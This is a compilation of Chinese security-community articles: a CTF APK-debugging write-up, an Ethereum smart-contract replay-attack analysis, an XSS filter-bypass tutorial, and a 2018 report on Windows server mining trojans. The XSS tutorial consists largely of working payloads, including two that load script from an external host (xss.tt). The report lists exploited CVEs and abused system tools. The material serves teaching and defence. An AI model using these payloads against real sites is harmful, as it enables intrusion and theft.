但是在我写这段代码的时候,我突然想着这道题也可以调试,一口气直接出结果,所以就当复习调试,就重新走了一遍,但是这次调试,却发现了不一样的结果
## 问题发现
### 调试工具走起
android studio,个人觉得全世界最牛皮的apk调试/开发工具,在android3.0版本之后,在File工具栏就存在Profile or
Debug APK 的功能,直接选择需要调试的apk
这里首先要对于我们这道题的apk增加`android:debuggable="true"`属性,否则没法调试
然后选择符合apk的sdk,在project structure->module里面设置好符合apk版本的sdk
然后插上我们开启的usb调试选项的手机
以上三个条件,缺一不可...各种报错就因为这三个原因
等待1分钟载入so文件,就可以开始快乐调试了
### 调试
因为as只能调试smali文件,所以并不是特别的直观,所以尽量结合这jadx_gui反编译出来的java一起看,比较容易懂
然后一定要仔细看下面的变量窗口,这个窗口,就是调试的关键
当F8很多次之后,调试到这一行,我们就会发现,为什么出现了问题?
getkey函数,里面的cha变量存储了一个1024字节的字符数组,读入jpg文件,肯定是二进制内容,但是这里,就在这里出现了大问题
这个jpg的头部,我们用010editor打开,其实是这样的
但是为什么,apk调试出来的结果,jpg读取到的字符串的开头就是65533呢?
想到这里,我再次测试了一波,在图片中寻找到三个数据,查看载入之后的数值
0x7E和0x7F和0x80的数据对比:
我们可以很清楚的发现,当一个字节的第一个bit位为1的时候,那么InputStreamReader函数读入该字节的时候,就会默认转为0xFFFD,也就是65533...
所以实际上,内存上所有大于127的数据,在这道题目读入之后,都是变成65533,然后在获取这道题的flag的过程中,模取10,最后会等于3,然后再根据奇偶位,确定是加一还是减一...
回到题目,F(70)-3当然等于C(67),而不是因为有符号的数据需要转换的成无符号的数据,这次正好是正巧好,才会出现两种不同的原因解出同一个flag
所以这道题,根本就不是我之前的猜想,我同时也查阅了很多网上对于该题目的writeup,貌似发现,都是认为是有符号和无符合的转换问题
那么下面,继续对于该InputStreamReader函数进行深入分析
* 这个函数的功能是什么?
* 为什么它会将所有大于127的数据转换成65533?
* 明明一个字节的数据,为什么调试的时候会显示成两个字节的数据?
* 为什么是0xFFFD,为什么不是0xFFFF,为什么不是其它?
## 深入分析
首先是引入字节流和字符流的概念:
> 字节流、字符流，两类都分为输入和输出操作。
>
> 字符流处理的单元为2个字节的Unicode字符，分别操作字符、字符数组或字符串，而字节流处理单元为1个字节，操作字节和字节数组。
而InputStreamReader正是从字节流到字符流的桥梁.
> FileReader的父类InputStreamReader，它是从字节流到字符流的桥梁： **它读取字节并使用特定的字符集解码成字符**
> 。字符集可能通过名字来确定或者直接特别给出或者是平台的默认字符集。
>
>
> InputStreamReader的每一个read方法的调用可能会引起一个或多个字节从字节输出流中被读取。为了使字节能够有效的转换为字符，可能会提前从流中读取比当前读取操作所需字节数更多的字节。
>
>
> InputStreamReader继承了抽象类Reader，Reader中实现了一些具体方法，这些方法没有在InputStreamReader中重写，比如skip方法。InputStreamReader有一个核心内部变量StreamDecoder，这个类的作用是将输入的字节转换为字符，后面会具体分析。
而且通过分析源码可知,该函数每次都会读入两个字节,进行解码,而解码需要字符集之间的转换
>
> 为了让使用Java语言编写的程序能在各种语言的平台下运行，Java在其内部使用Unicode字符集来表示字符，这样就存在Unicode字符集和本地字符集进行转换的过程。当在Java中读取字符数据的时候，需要将本地字符集编码的数据转换为Unicode编码，而在输出字符数据的时候，则需要将Unicode编码转换为本地字符集编码。
也就是说,所有读入的数据都会在unicode和本地字符集之间进行转换,那么我们读入jpg图片文件的时候(在那道赛题中使用的是默认的字符集,也就是系统字符集):
>
> 从其他字符集向Unicode编码转换时，如果这个二进制数在该字符集中没有标识任何的字符，则得到的结果是0xfffd。例如一个GBK的编码值0x8140，从GB2312向Unicode转换，然而由于0x8140不在GB2312字符集的编码范围（0xa1a1-0xfefe），当然也就没有对应任何的字符，所以转换后会得到0xfffd。
所以上面的所有问题,全部都迎刃而解了,舒服了
同时我还写了一些java代码和c语言代码进行测试,验证了上面所说的字节流和字符流的区别,在附件中,就不截图了,大家可以自己运行试试,还有一个帮大家加上了debug属性的apk,大家可以自己调试
怀疑任何事情,才能发现问题的真正答案!
## 参考链接
[java编码与乱码问题](https://www.cnblogs.com/slwenyi/p/6393881.html)
[字节流与字符流的区别及相互转换](https://www.cnblogs.com/xiaohouzai/p/7684695.html)
[Java FileReader
InputStreamReader类源码解析](https://blog.csdn.net/weixin_34050005/article/details/89654956) | 社区文章 |
# Blackhat USA 2018议题解读 | 以太坊智能合约重放攻击细节剖析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在刚刚结束的 DEF CON 26 全球黑客大会上，来自 360 独角兽安全团队(UnicornTeam)的 Zhenzuan Bai, Yuwei
Zheng 等分享了议题《Your May Have Paid More than You Imagine：Replay Attacks on
Ethereum Smart Contracts》，慢雾安全团队学习并测试实践后，整理了这篇文章供大家交流参考。
## 攻击背景
在资产管理体系中，常有委托管理的情况，委托人将资产给受托人管理，委托人支付一定的费用给受托人。这个业务场景在智能合约中也比较普遍。
### 合约设计
function transferProxy(address _from, address _to, uint256 _value, uint256 _fee, uint8 _v, bytes32 _r, bytes32 _s)
`transferProxy` 方法涉及的角色：
* 角色1: 需要转 Token，但自己钱包地址里没有 ETH 的人，即合约中的 `_from`
* 角色2: 帮助角色1来转 Token，并支付 ETH 的 gas 费用，即合约中的 `msg.sender`，也是调用这个合约的人
* 角色3: Token 接收方，即合约中的 `_to`
`transferProxy` 方法的目的：
`角色1`想要转 Token 给`角色3`，但自己又没有 ETH 来支付手续费，于是`角色1`找到有 ETH 的`角色2`说：我给你一些 Token
当做手续费，你来通过调用 `transferProxy` 来把我的 Token 转给`角色3`，因为你有 ETH。
### 合约实现
function transferProxy(address _from, address _to, uint256 _value, uint256 _fee,
uint8 _v, bytes32 _r, bytes32 _s) public returns (bool){
if(balances[_from] < _fee + _value
|| _fee > _fee + _value) revert();
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_fee,nonce);
if(_from != ecrecover(h,_v,_r,_s)) revert();
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _fee < balances[msg.sender]) revert();
balances[_to] += _value;
emit Transfer(_from, _to, _value);
balances[msg.sender] += _fee;
emit Transfer(_from, msg.sender, _fee);
balances[_from] -= _value + _fee;
nonces[_from] = nonce + 1;
return true;
}
合约中关键的点是`keccak256`和`ecrecover`，即椭圆曲线加密数字签名(ECDSA)函数和验签函数，`keccak256`等同于`sha3`。
如下是签名、验签过程：
1. `角色1(_from)`先用`sha3`函数对 `_from,_to,_value,_fee,nonce`进行处理得到`msg`值，然后使用`web3.eth.sign(address, msg)`得到签名`signature`；
2. 将`signature`取前 0~66 个字节作为 r， 66~130 之间的字节作为 s，130~132 的字节作为 v，然后把 v 转为整型，`角色1`把这些信息告知`角色2`，`角色2`调用合约的`transferProxy`进行转账；
3. 合约内`ecrecover`接收签名数据的哈希值以及r/s/v等参数作为输入，返回实施该签名的账户地址
let msg = web3.sha3(_from,_to,_value,_fee,nonce)
let signature = web3.eth.sign(_from, msg)
let r = signature.slice(0, 66)
let s = '0x' + signature.slice(66, 130)
let v = '0x' + signature.slice(130, 132)
v = web3.toDecimal(v)
console.log('r', r)
console.log('s', s)
console.log('v', v)
console.log(msg)
**备注**
`角色1`、`角色2`需要事先沟通好`nonce`、`_fee`，其中`nonce`在合约中定义，从0开始自增，可调用合约的`getNonce(address
_addr)`查询。
## 攻击过程
由于合约所有的调用数据（函数参数）都在链上公开可查，所以可从 Transaction 中提取所有签名信息。
流程图
(图片来自<https://github.com/nkbai/defcon26/blob/master/docs/img/p1.png>)
在智能合约重放攻击中，基于椭圆曲线加密数字签名(ECDSA)和验签的逻辑，可利用不同合约中相同的`transferProxy`实现，把A合约
Transaction 中的签名信息提取出来，在B合约中进行重放，由于涉及签名的所有参数都是一样的，所以可以直接调用B合约并广播到链上。
## 漏洞影响
根据议题《Your May Have Paid More than You Imagine：Replay Attacks on Ethereum Smart
Contracts》中披露的数据，截止4月27日统计发现有52个合约受到重放攻击的影响，其中10个高危、37个中危、5个低危。
从重放攻击目标角度分析，有5个合约因为没有nonce的设计，可在自身合约内进行重放攻击；另外45个合约可跨合约进行重放攻击。
## 防御建议
1. nonce 生成算法不采用从 0 开始自增的设计，避免和场景的做法相同；
2. 去除 transferProxy 函数，改成其他方式实现代理的需求；
3. 在keccak256函数中增加 address(this) 作为参数
4. 慢雾安全团队合约审计项已加入该类型问题的审计。
## 参考资料
演讲者
PDF：<https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Bai%20Zheng%20and%20Chai%20Wang/DEFCON-26-Bai-Zheng-Chai-Wang-You-May-Have-Paid-more-than-You-Imagine.pdf>
演讲者开放文档：<https://github.com/nkbai/defcon26/blob/master/docs/Replay%20Attacks%20on%20Ethereum%20Smart%20Contracts.md>
演讲者开放工具：<https://github.com/nkbai/defcon26/tree/master/erc20finder>
演讲者开放工具：<https://github.com/nkbai/defcon26/tree/master/proxytoken> | 社区文章 |
### 前言
* * *
近日在看些xss相关的知识，在乌云知识库上，有篇`XSS挑战第一期Writeup`里面姿势很多，能力不足，有些无法复现，就把自己觉得好玩的写下来。
### location
* * *
`Location对象`对于我们构造一些另类的`xss payload`有很大的帮助，例如P牛这篇文章介绍的使用编码[利用location来变形我们的XSS
Payload](https://www.leavesongs.com/PENETRATION/use-location-xss-bypass.html)
### Location
* * *
在介绍Location的属性前，我们先来了解下`slice()`方法。
slice() 方法可从已有的字符串中返回选定的元素。
#### location.hash
* * *
查阅文档。
我们关注的重点是`#`的作用，`location`对象的`hash`属性用于设置或取得 URL 中的锚部分。
例如我们现在的网址为`http://localhost/1.html#s9mf`，我们在控制台输入`location.hash`，则会返回我们设定的`锚`。
利用这个特性，在构造xss代码时，可以把一部分`payload`，放置在测试语句的尾部。
例子：
<body/onload=eval(location.hash.slice(1))>#alert(1)
这里用`eval`执行通过`location.hash`获取过来的`alert(1)`代码，`slice`方法在这里的作用是截取下标为1以后的字符串元素(包括1)。如果你还是不太理解，那么我们用`document.write`输出到页面。
可见，slice方法在这里返回的字符串为`alert(1)`，`substr`方法在这里也可以代替`slice`使用。
<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)
这里使用的setTimeout，也可以使用`constructor`属性来执行代码，不过要记住加个`()`。
`Set.constructor(location.hash.substr(1))()`
也可以使用`execScript`，不过`execScript`是IE浏览器独有，所以只能在`IE`弹，相比较下`eval`则是所有浏览器都支持。
<body/onload=execScript(location.hash.substr(1))>#alert(1)
使用`Function`匿名函数来执行尾部的代码。
<body/onload=Function(location.hash.slice(1))()>#alert(/xss/)
利用`伪协议`。
<body/onload=eval(location.hash.slice(1))>#javascript:alert(1)
利用注释，引用伪协议后开始变得有趣。
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)
更进一步。
<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>" #"-alert(1)
#### unescape()
* * *
`unescape()`函数用于对已经使用`escape()`函数编码的字符串进行解码，并返回解码后的字符串。
我们引入外部`url`时，如果拦截`//`，我们可以先url编码，再解码。
例如：
<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>
#### with
* * *
`with`语句可以方便地用来引用某个特定对象中已有的属性。使用with可以实现通过节点名称的对象调用。
如果`.`被拦截，我们可以尝试`with`。
<svg/onload=with(location)with(hash)eval(alert(1))>
基于DOM的方法创建和插入节点把外部JS文件注入到网页中，也可以应用with。
<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tt/XA'})">
### 参考
* * *
* <https://www.cnblogs.com/slpawn/p/8630740.html>
* <http://www.anquan.us/static/drops/papers-894.html>
* <http://www.anquan.us/static/drops/papers-938.html>
* [https://www.t00ls.net/viewthread.php?tid=43475&highlight=%2B风在指尖](https://www.t00ls.net/viewthread.php?tid=43475&highlight=%2B风在指尖) | 社区文章 |
# 2018年Windows服务器挖矿木马总结报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 摘要
2018年，挖矿木马已经成为Windows服务器遭遇的最严重的安全威胁之一。这一年，在挖矿木马攻击趋势由爆发式增长逐渐转为平稳发展的同时，挖矿木马攻击技术提升明显，恶意挖矿产业也趋于成熟，恶意挖矿家族通过相互之间的合作使受害计算机和网络设备的价值被更大程度压榨，合作带来的技术升级也给安全从业者带来更大挑战。2019年，挖矿木马攻击将继续保持平稳，但黑产家族间的合作将更加普遍，“闷声发大财”可能是新一年挖矿木马的主要目标。
## 前言
挖矿木马是一类通过入侵计算机系统并植入挖矿机赚取加密数字货币获利的木马，被植入挖矿木马的计算机会出现CPU使用率飙升、系统卡顿、部分服务无法正常使用等情况。挖矿木马最早在2012年出现，并在2017年开始大量传播。
2018年，挖矿木马已经成为服务器遭遇的最严重的安全威胁之一。360互联网安全中心对挖矿木马进行了深入研究分析和长期攻防对抗，在这一年，360安全卫士平均每日拦截针对Windows服务器的挖矿木马攻击超过十万次，时刻守卫Windows服务器安全。本文将依据我们掌握的数据，总结2018年Windows服务器遭遇的挖矿木马威胁，并对2019年Windows服务器下挖矿木马发展趋势进行分析评估（注：下文提到的“挖矿木马”均指针对Windows服务器的挖矿木马）。
## 第一章 2018年攻击趋势概览
2018年，Windows服务器遭到的挖矿木马攻击呈现先扬后抑再扬的趋势。2018年上半年，针对Windows服务器的挖矿木马呈现稳步上升趋势，并在2018年7月左右达到顶峰。之后挖矿木马攻击强度减弱，部分挖矿木马家族更新停滞，直到2018年12月，WannaMine、Mykings等大型挖矿僵尸网络再次发起大规模攻击，针对Windows服务器的挖矿木马攻击才再次出现上升趋势。2018年针对Windows服务器的挖矿木马攻击趋势如图1所示。
图1 2018年针对Windows服务器的挖矿木马攻击趋势
在2018年初，挖矿木马攻击的上升趋势是2017年末挖矿木马爆发的延续。2017年12月，“8220”组织使用当时还是0day状态的Weblogic反序列化漏洞（CVE-2017-10271）入侵服务器并植入挖矿木马[1]，引起一波不小的轰动。之后，更多黑产从业者将目光投向服务器挖矿领域。据360互联网安全中心统计，2018年上半年针对Windows服务器的挖矿木马家族呈逐月上升趋势，最高时每月有20余个成规模的挖矿木马家族。
图2 2018年针对Windows服务器的挖矿木马家族数量变化
不过到了2018年下半年，挖矿攻击趋势有所下降，挖矿木马家族数量也仅仅保持稳定，不再呈现类似于上半年的增长趋势。出现这种情况的原因之一，在于2018年下半年披露的Web应用远程代码执行漏洞相比较上半年要少得多，挖矿木马缺少新的攻击入口；另外由于虚拟货币的波动，下半年针对服务器的挖矿木马家族格局基本定型，没有新的大家族产生。从图2可以看出2018年下半年成规模挖矿木马家族数量一直保持30个左右的，并未出现太大增长。
直到2018年年底，各大挖矿木马家族才再次活跃，挖矿木马攻击在沉寂将近半年之后再次呈现上升趋势。其中，“Mykings”家族、“8220”组织与“WannaMine”家族无疑是攻击趋势上升的“主力”。2018年，这三个家族攻击计算机数量占据所有家族攻击计算机总量的87%，到了12月，这个数值上升到了可怕的92%。图4展示了2018年这三个家族攻击计算机数量与其他家族攻击计算机数量总和的比较。关于这几个活跃挖矿家族的细节将在第三章提及。
图3 2018年“Mykings”、“8220”组织与“WannaMine”三个家族攻击计算机数量与其他家族对比
因此，2018年成为针对Windows服务器挖矿木马最为鼎盛的一年，进入2019年，如果加密数字货币继续保持目前下滑状态，挖矿木马可能也将随之降温，攻击者也会在更多盈获利方式中寻求平衡。
## 第二章 2018年挖矿木马详解
### 一、挖矿木马攻击目标分布
针对Windows服务器的挖矿木马除少部分利用Windows自身漏洞外，更多的是利用搭建在Windows平台上的Web应用或数据库的漏洞入侵服务器。图5展示了2018年针对Windows服务器的挖矿木马攻击目标分布。其中，MsSQL是挖矿木马的最大攻击目标，Weblogic、JBoss、Drupal、Tomcat等Web应用也是挖矿木马重灾区。
图4 2018年针对Windows服务器挖矿木马攻击目标分布
### 二、挖矿木马使用漏洞一览
正所谓“工欲善其事，必先利其器”——利用成功率高、操作简便、适用于大规模攻击的漏洞往往受到攻击者青睐。表1展示了2018年挖矿木马入侵Windows服务器所使用的漏洞。攻击者手里往往持有一个能够针对多个平台的漏洞武器库和一个保存有存在漏洞计算机的IP地址的列表，具有僵尸网络性质的挖矿木马会将这个漏洞武器库集成到挖矿木马中，使挖矿木马实现“自力更生”，不具有僵尸网络性质的挖矿木马则会定期对列表中的IP地址发起攻击。一些频繁更新的挖矿木马更是在漏洞POC公开后的极短时间内将其运用在实际攻击中。
攻击平台
|
漏洞编号
|
POC公开与首次出现利用时间差
---|---|---
Weblogic
|
CVE-2017-3248
|
6个月
CVE-2017-10271
|
0 天（0day）
CVE-2018-2628
|
10天-20天
CVE-2018-2894
|
5个月
JBoss
|
CVE-2010-0738
|
未知
CVE-2017-12149
|
20天-30天
Struts2
|
CVE-2017-5638
|
<1个月
CVE-2017-9805
|
未知
CVE-2018-11776
|
4个月
Drupal
|
CVE-2018-7600
|
2个月
CVE-2018-7602
|
2个月
ThinkPHP
|
-( ThinkPHPv5 GetShell)
|
10天-15天
PHPMyAdmin
|
-(弱口令爆破)
|
–
PHPStudy
|
-(弱口令爆破)
|
–
Spring Data Commons
|
CVE-2018-1273
|
未知
Tomcat
|
-(弱口令爆破)
|
–
CVE-2017-12615
|
未知
MsSQL
|
-(弱口令爆破)
|
–
MySQL
|
-(弱口令爆破)
|
–
Windows Server
|
-(弱口令爆破)
|
–
CVE-2017-0143
|
<1个月
表1 2018年挖矿木马入侵Windows服务器所使用的漏洞
### 三、挖矿木马使用的攻击技术
**（一）横向移动**
横向移动指的是：木马在入侵计算机之后，以该计算机作为傀儡机，攻击局域网中的其他机器并控制这些机器。具有僵尸网络性质的挖矿木马家族常会利用Windows系统自身漏洞攻击局域网中的其他机器，并在其他机器中植入挖矿木马。在横向移动攻击武器的选择上，“永恒之蓝”漏洞攻击武器是大部分挖矿木马家族的首选，而横向渗透神器Mimikatz也被WannaMine等挖矿木马家族所使用。在这些家族的横向渗透中，Mimikatz只是作为“永恒之蓝”漏洞攻击武器的备选方案，可见攻击者更追求稳定性和使用上的简便，而不愿将上手难度高的Mimikatz放在首位。
图5 使用“永恒之蓝”漏洞攻击武器与使用Mimikatz的挖矿木马家族数量对比
**（二）Living off the land**
Living off the
land直译是“靠山吃山，靠水吃水”，在恶意攻击中指的是借助系统中已存在的应用程序或工具完成攻击。上文提到针对Windows服务器的挖矿木马大多数通过Web应用或系统的缺陷入侵计算机，而这些缺陷大多数只允许在远程计算机上执行任意命令而非任意代码，因此攻击者需要借助系统中已存在的应用程序或工具下载载荷，实现挖矿木马的植入。表2展示了被挖矿木马借力的合法应用程序。
应用程序名称
|
被挖矿木马滥用的功能
---|---
cmd.exe
|
执行载荷
PowerShell.exe
|
下载载荷，执行载荷
Regsvr32.exe
|
执行载荷
Certutil.exe
|
下载载荷，解码载荷
bitsadmin.exe
|
下载载荷，执行载荷，持续驻留
wscript.exe
|
下载载荷，执行载荷
cscript.exe
|
下载载荷，执行载荷
mshta.exe
|
执行载荷
wmic.exe
|
执行载荷
表2 被挖矿木马借力的合法应用程序
图7则展示了针对Windows平台挖矿木马家族对这些合法应用程序的使用情况。Powershell这个功能强大的工具是攻击者最青睐的，而诸如Regsvr32.exe、mshta.exe这类能够执行存放在攻击者服务器的恶意代码的应用程序也被大量挖矿木马所使用。
图6 针对Windows平台挖矿木马家族滥用合法应用程序的情况
**（三）Fileless**
Fileless也叫“无文件攻击”技术，即攻击者在不释放文件的情况下实施攻击。攻击者一般通过在内存中加载恶意代码实现“无文件攻击”。Fileless本身是在Living
off the land的范畴中，由于针对Windows服务器的挖矿木马频繁使用该技术，故此在文章中将其提取出来另外讨论。
在针对Windows服务器的挖矿木马家族中，WannaMine是“无文件攻击”技术的集大成者。WannaMine利用漏洞入侵服务器后，会借助PowerShell应用程序在内存中完成挖矿木马运行、横向渗透、更新自身等多项工作。图8是WannaMine家族所使用的无文件攻击技术图解[2]。
图7 WannaMine家族所使用的无文件攻击技术图解
2018年11月，Mykings僵尸网络使用CVE-2015-7768攻击KONICA MINOLTA
FTP时也使用了“无文件”攻击技术。Mykings将加密后的载荷隐藏在PowerShell内存中，当扫描到存在漏洞的KONICA MINOLTA
FTP时就解密载荷并向其发送带有载荷的漏洞利用代码。
图8 Mykings家族攻击KONICA MINOLTA FTP时所使用的无文件攻击技术图解
“无文件攻击”技术的优势在于能够躲避杀毒软件的静态扫描，劣势在于现阶段过分依赖PowerShell强大的功能，一旦PowerShell被封锁，攻击者将很难找到替代品。
**（四）代码混淆技术**
代码混淆的目的是为了逃避杀毒软件的静态扫描，并增加样本分析人员的分析难度。对PE文件格式的木马加上诸如VMP这类的强壳已经是老生常谈了。2018年挖矿木马将混淆魔爪伸向了PowerShell脚本、JS脚本、hta文件等非PE文件，这些文件不一定会在受害机器上出现，更多的是在内存中执行，攻击者此举纯粹是为了给样本分析人员增加难度。
Invoke-DOSfuscation项目[3]最受挖矿木马青睐，图10和图11分别是WannaMine家族和Mykings家族使用Invoke-DOSfuscation对PowerShell代码进行混淆的例子。这类连编辑器都无法正常高亮的混淆代码给样本分析人员带来极大的挑战。
图9 WannaMine家族使用Invoke-DOSfuscation进行混淆的例子
图10 Mykings家族使用Invoke-DOSfuscation进行混淆的例子
### 四、挖矿木马收益分析及未来获利方式预测
2018年全球加密数字货币价格呈现走跌的趋势，大部分挖矿木马选择的币种——门罗币，在2018年缩水了超过九成。从最高时的1个门罗币兑3500元人民币降到现在的1个门罗币兑300元人民币。
图11 门罗币价格走势，红框中为2018年门罗币价格走势[4]
挖矿是一种几乎零成本的获利方式，因此门罗币价格的大幅缩水对挖矿木马攻击趋势的影响有限。表3展示了各个针对Windows服务器的成规模挖矿家族钱包地址和获利情况。可以看出，即使加密数字货币价格狂跌，一些大型挖矿家族仍然能够获得不错的收益。以WannaMine家族为例，若该家族以当前价格将持有的门罗币兑换成人民币，依然可以收益将近150万人民币，而实际收益必然大于150万人民币。
钱包地址
| 加密数字货币数量 |
家族
---|---|---
43Qof2iF1QV8NuGEDhxU3vBapovcxGVrYaNu35oMA58JXx1wx5nwEdZMe2DEsRVM1DV3vj5prS9moK8hAebH4ewgV7JDmDb
|
2879XMR
|
WannaMine
44XYTPbEG7pg17grFsFdd3KdPaiJzNBNCZX1RqkvDuBmKwcLq1QVwhaCzrZctw15zrDPGFhQWVAWsi47g3p5dyNY21jUCj1
|
2015XMR
4B9oDLDgeLnWnE9y2snHC3N2fX5CnBFMvQw1hgyZkhd8Vfg3nVAzJ2mVND9eryd5ZmauBredcbxtLMU35t346K6cPPQt7Bt
|
157XMR
41mmoPVT1EFTaq3R4RpWEWiFJufAqJk8bAHBheSDVSGLgorjJHTNemdNg3kocA2Hj66Cve8B9fVEuYY6ztctk1bAETqsnNk
|
31XMR
49kWWHdZd5NFHXveGPPAnX8irX7grcNLHN2anNKhBAinVFLd26n8gX2EisdakRV6h1HkXaa1YJ7iz3AHtJNK5MD93z6tV9H
|
53XMR
4836J714oRpM9zdt7PZGmpChufqSEAFW8RgEMhu4tpGZKiFtogAiPY85GW9tWD9zKEi9XmB4Prw55M5fjjTgrhVhSDLLkFZ
|
12XMR
44FaSvDWdKAB2R3n1XUZnjavNWwXEvyixVP8FhmccbNC6TGuCs4R937YWuoewbbSmMEsEJuYzqUwucVHhW73DwXo4ttSdNS
|
3XMR
|
Zombieboy
41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
|
545XMR
|
“8220”组织
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
|
203XMR
46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
|
11XMR
48ojQAPbQCY5j75Hshe1mXKSAe3db6NVRAxsiMxS7rMNcEGE1mKGW1eETRamd1cKgRHCtqdTnEUu6NEKKSGXVugN9q2WVM8
|
43XMR
|
KoiMiner
463tGbooc85VubSo9TjhjLegtVvBQD6qPVJ3LxDoNrtKexAqcyDkoqm9p32MrDoMWcSmWz41EKbxL3AKPJyCjCmcTPZ96XQ
|
16XMR
47Uvt85TgZzHkveaTed69jhY4CSN8334BUufUtmaoLSNJadf2BoTtroHm5evYqQy4NJeyVBYYtGK8SHSAtFSiW6aDztDs9j
|
46XMR
44873Xameckc4wR21AdrM5fnoFHKZJSVj6cBADTgFTrEEN94jP2XfQZ74PMRiqoYHnBu2cCe32wLx7gKHnQpfFqCLb6Ryn2
|
19XMR
43BEKp4t8km3wEBasxmPMcV5n5XPPjRN4VcicaSwKZkTHxKzc4hTYwd3tyqR8SLZahfuSsTeJEG3fcEMnX3jA1F86iao1GU
|
0.32XMR
|
NSASrvanyMinner
4AN9zC5PGgQWtg1mTNZDySHSS79nG1qd4FWA1rVjEGZV84R8BqoLN9wU1UCnmvu1rj89bjY4Fat1XgEiKks6FoeiRi1EHhh
|
157XMR
|
bulehero
49bjBwYN1YVcn6iJv7pTboVUPKT7Se1cZVqWKd7axs2zJoai68dYg8uWoapnxLNDyWNGTvsMbgvesbBctw1SW2czSBGB6R3
|
13XMR
|
JavaeMiner（未披露）
45UGVCbZAtzePzujSn2GYHPrciq8ZoBH1MXaA7nNiQa5GrvvomXuinGHnXTBgv21NmXUrNDxKXJwZb8hTQK4Hj1VCkCvCsH
|
3XMR
|
WmicMiner（未披露）
44qLwCLcifP4KZfkqwNJj4fTbQ8rkLCxJc3TW4UBwciZ95yWFuQD6mD4QeDusREBXMhHX9DzT5LBaWdVbsjStfjR9PXaV9L
|
58XMR
|
MassMiner
49Rocc2niuCTyVMakjq7zU7njgZq3deBwba3pTcGFjLnB2Gvxt8z6PsfEn4sc8WPPedTkGjQVHk2RLk7btk6Js8gKv9iLCi
|
928XMR
47Tscy1QuJn1fxHiBRjWFtgHmvqkW71YZCQL33LeunfH4rsGEHx5UGTPdfXNJtMMATMz8bmaykGVuDFGWP3KyufBSdzxBb2
|
>2000XMR（矿池已禁止查询该钱包）
|
Mykings
41xDYg86Zug9dwbJ3ysuyWMF7R6Un2Ko84TNfiCW7xghhbKZV6jh8Q7hJoncnLayLVDwpzbPQPi62bvPqe6jJouHAsGNkg2
|
11MXR
47Tscy1QuJn1fxHiBRjWFtgHmvqkW71YZCQL33LeunfH4rsGEHx5UGTPdfXNJtMMATMz8bmaykGVuDFGWP3KyufBSdzxBb2
|
>6000XMR（矿池已禁止查询该钱包）
表3 各挖矿家族钱包地址的获利情况
不过某些规模较大的挖矿家族依然在寻求其他的获利方式以最大化利用其控制的僵尸机器的价值。比如2018年6月，WannaMine家族在一次更新中增加了DDoS模块。该DDoS模块代码风格、攻击手法与WannaMine家族之前的情况大不相同，DDoS模块的载荷下载地址在2018年6月之前曾经被其他家族所使用[5]。不难推测，WannaMine可能与其他黑产家族进行合作，摇身一变成为“军火商”为其他黑产家族定制化恶意程序。
图12 WannaMine的DDoS模块中所连接的载荷下载地址d4uk.7h4uk.com曾被其他家族使用
无独有偶，另一大挖矿家族Mykings也在2018年实现了身份的转换。2018年11月，Mykings与“暗云”木马家族合作，向受控计算机中植入“暗云”木马，功能包括但不限于挖矿、锁首页、暗刷和DDoS[6]。图14展示了Mykings僵尸网络与“暗云”木马合作后的攻击流程。
图13 Mykings僵尸网络与“暗云”木马合作后的攻击流程
可以预测，2019年将涌现更多这类的合作。挖矿木马家族除了往僵尸机中植入挖矿木马获利外，还会向其他黑产家族提供成熟的漏洞攻击武器与战术，或者将已控制的僵尸机出售给其他黑产家族。而类似“暗云”木马家族这类对黑产获利方式、获利渠道较为熟悉的家族则购买挖矿木马家族出售的僵尸机，或者与挖矿木马家族共同开发定制木马，谋求挖矿以外的利益最大化。
## 第三章 2018年挖矿木马家族典型
### 一、WannaMine（GhostMiner[7]、PowerGhost[8]）
图14 WannaMine家族典型的攻击流程
WannaMine是2018年最活跃的挖矿木马家族之一，该家族主要针对搭建Weblogic的服务器，也攻击PHPMyadmin、Drupal等Web应用。当WannaMine入侵服务器之后，使用“永恒之蓝”漏洞攻击武器或Mimikatz进行横向渗透，将挖矿木马植入位于同一局域网的其他计算机中。WannaMine是“无文件”攻击技术的集大成者，在其绝大多数版本中都通过PowerShell应用程序将挖矿木马加载到内存中执行，未有文件“落地”。
WannaMine更新频繁，不仅定期更换载荷下载URL，且一旦有新的Web应用漏洞POC公开，WannaMine就会在第一时间将POC武器化。图16展示了2018年WannaMine家族的攻击趋势，年初的上涨来源于WannaMine家族第一次使用Weblogic反序列化漏洞（CVE-2017-10271）对服务器进行攻击[9]，而2018年底的突然上涨是WannaMine在更新停滞数月之后再次活跃所造成的。不难推测，WannaMine攻击者手中保存有存在漏洞的机器列表，以实现在短时间内控制大量机器的目的。
图15 WannaMine家族2018年攻击趋势
### 二、Mykings[10]（隐匿者[11]）
图16 Mykings家族典型的攻击流程
Mykings家族最早可以追溯到2014年，在2017年被多家安全厂商披露，至今仍然处在活跃状态中。Mykings家族拥有一套成熟的弱口令扫描与爆破体系，能够爆破MsSQL、Telnet、RDP、CCTV等系统组件或设备，其爆破模块除了复用Mirai僵尸网络和Masscan扫描器的部分代码外，还集成了内容丰富的弱口令字典以及针对MsSQL的多种命令执行方式。在获利方式上，Mykings家族不仅仅局限于通过挖矿获利，也通过与其他黑产家族合作完成锁首页、DDoS等工作。
